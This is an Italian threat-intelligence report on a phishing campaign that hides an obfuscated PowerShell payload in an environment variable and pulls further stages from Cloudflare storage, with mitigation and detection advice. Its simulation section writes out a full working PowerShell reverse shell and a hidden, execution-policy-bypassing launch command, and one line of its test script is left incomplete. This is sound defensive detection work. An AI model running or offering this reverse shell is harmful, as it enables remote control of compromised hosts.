SOC Prime Bias: Medio

05 Jun 2026 15:49 UTC

Il Malvagio Sfondo MSI Ritorna

Author Photo
SOC Prime Team linkedin icon Segui
Il Malvagio Sfondo MSI Ritorna
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Un’email di phishing che trasporta un link WeTransfer consegna un file JavaScript che memorizza un payload offuscato all’interno di una variabile di ambiente. Quel payload viene successivamente decodificato ed eseguito tramite PowerShell avviato tramite WMI, che scarica un’immagine JPEG in stile MSI malevola e una DLL .NET da Cloudflare Workers e R2 storage. La DLL è una build modificata di Microsoft.Win32.TaskScheduler utilizzata per caricare payload successivi e possibilmente creare persistenza tramite attività pianificate. La campagna evidenzia come gli attori della minaccia continuino ad abusare dei servizi cloud legittimi per ospitare e distribuire componenti malevoli.

Indagine

L’analista ha identificato un file JavaScript iniziale chiamato Remittance Advice.js contenente codice offuscato ROT13 che crea la variabile di ambiente INTERNAL_DB_CACHE . Successivamente, PowerShell viene avviato in una finestra nascosta tramite WMI ed esegue il blocco di script decodificato. Quel script riceve un file JPEG da un sottodominio workers.dev e un file PNG da un bucket pubblico r2.dev , entrambi probabilmente utilizzati per trasportare payload aggiuntivi attraverso metodi steganografici. Il componente di ultima fase è una DLL .NET derivata dalla libreria open-source TaskScheduler.

Mitigazione

Le organizzazioni dovrebbero bloccare l’accesso a domini noti malevoli come we.tl, workers.dev, e r2.dev al livello del firewall o proxy. L’esecuzione di PowerShell e la creazione di processi basati su WMI dovrebbe essere limitata per utenti non affidabili ove possibile. I difensori dovrebbero anche monitorare per l’esecuzione nascosta di PowerShell, l’abuso del metodo Win32_Process.Create , e variabili di ambiente insolite come INTERNAL_DB_CACHE. I file scaricati dai cloud storage pubblici dovrebbero essere sottoposti a rigorosa validazione e ispezione.

Risposta

I team di sicurezza dovrebbero avvisare quando PowerShell viene avviato con una finestra nascosta tramite WMI e quando la variabile INTERNAL_DB_CACHE viene creata o modificata. Qualsiasi processo che si connette agli URL identificati o scarica contenuto da workers.dev or r2.dev dovrebbe essere immediatamente indagato. L’analisi forense dovrebbe concentrarsi sulla localizzazione della DLL .NET malevola e sull’identificazione delle attività pianificate di nuova creazione che si affidano alla libreria TaskScheduler. Gli host interessati dovrebbero essere sistemati prontamente, e il contenuto di rilevamento aggiornato con gli indicatori osservati.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[“<b>Azione</b> – <b>T1566.002 Phishing: collegamento di spearphishing</b><br/><b>Descrizione</b>: Invia un’e-mail con un collegamento WeTransfer dannoso alle vittime”] class action_phishing action tool_js[“<b>Strumento</b> – <b>Payload JavaScript</b><br/><b>Tecniche</b>: T1027.008 File o informazioni offuscati, T1132 Codifica dei dati<br/><b>Descrizione</b>: Esegue e imposta una variabile d’ambiente contenente un payload ROT13/Base64 modificato”] class tool_js tool process_wmi_ps[“<b>Processo</b> – <b>PowerShell tramite WMI</b><br/><b>Tecniche</b>: T1216 Esecuzione proxy tramite binario firmato, T1036.009 Mascheramento, T1564.010 Nascondere artefatti<br/><b>Descrizione</b>: Avvia un processo PowerShell nascosto tramite WMI”] class process_wmi_ps process malware_taskdll[“<b>Malware</b> – <b>DLL .NET TaskScheduler</b><br/><b>Tecnica</b>: T1127.003 Esecuzione proxy tramite utility di sviluppo affidabili<br/><b>Descrizione</b>: Carica il payload decodificato come DLL .NET e lo registra nell’Utilità di pianificazione”] class malware_taskdll malware tool_downloader[“<b>Strumento</b> – <b>Downloader</b><br/><b>Tecniche</b>: T1578 Acquisizione di infrastruttura, T1538 Dati da archiviazione cloud, T1537 Trasferimento dati verso account cloud<br/><b>Descrizione</b>: Recupera file aggiuntivi da Cloudflare Workers e dallo storage R2”] class tool_downloader tool file_png[“<b>File</b> – <b>PNG steganografico</b><br/><b>Descrizione</b>: Immagine PNG contenente dati nascosti che verranno successivamente elaborati”] class file_png file %% Connections showing attack flow action_phishing –>|consegna| tool_js tool_js –>|esegue_e_imposta| process_wmi_ps process_wmi_ps –>|avvia| malware_taskdll malware_taskdll –>|carica| tool_downloader tool_downloader –>|recupera| file_png

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Controllo di Prevolo di Telemetria & Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica del nemico (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa & Comandi di Attacco:
    L’attaccante inietta inizialmente un payload PowerShell codificato base64 in una variabile di ambiente a livello di processo chiamata INTERNAL_DB_CACHE. Questo payload, una volta decodificato, avvia una shell inversa. L’attaccante invoca quindi un secondo processo PowerShell che legge la variabile e lo esegue tramite ScriptBlock::Create, tenendo così il comando malevolo fuori dalla linea di comando immediata. Questo approccio “vivi della terra” evita il rilevamento delle firme statiche e sfrutta il modello in due fasi che la regola è progettata per catturare.

    1. Fase 1 – Codifica il payload e memorizzalo nella variabile env

      $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
      $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    2. Fase 2 – Esegui il payload codificato dalla variabile env

      powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
  • Script di Test di Regressione: Lo script di seguito automatizza i due passaggi, cattura i timestamp per la correlazione e inserisce una breve pausa per consentire al primo processo di finire prima che inizi il secondo.

    # ----------------------------------------------
    # Simulazione PowerShell di payload codificato con variabile env
    # ----------------------------------------------
    
    # Passaggio 1 – Codifica un payload di shell inversa innocuo (sostituire con il tuo indirizzo C2)
    $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Piccolo payload benigno per test sicuri
    $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    Write-Host "[*] Variabile di ambiente INTERNAL_DB_CACHE impostata."
    
    # Breve pausa per garantire che il primo comando sia registrato
    Start-Sleep -Seconds 2
    
    # Passaggio 2 – Esegui il payload dalla variabile
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
    Write-Host "[*] Esecuzione di payload innescata."
  • Comandi di Pulizia: Rimuovere la variabile di ambiente temporanea e terminare eventuali processi rimanenti creati durante il test.

    # Rimuovere la variabile di ambiente di test
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
    Write-Host "[*] PULIZIA – INTERNAL_DB_CACHE rimosso."
    
    # Assicurarsi che non rimangano istanze orfane di powershell.exe (escludere la sessione corrente)
    Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
    Write-Host "[*] PULIZIA – processi Powershell orfani terminati."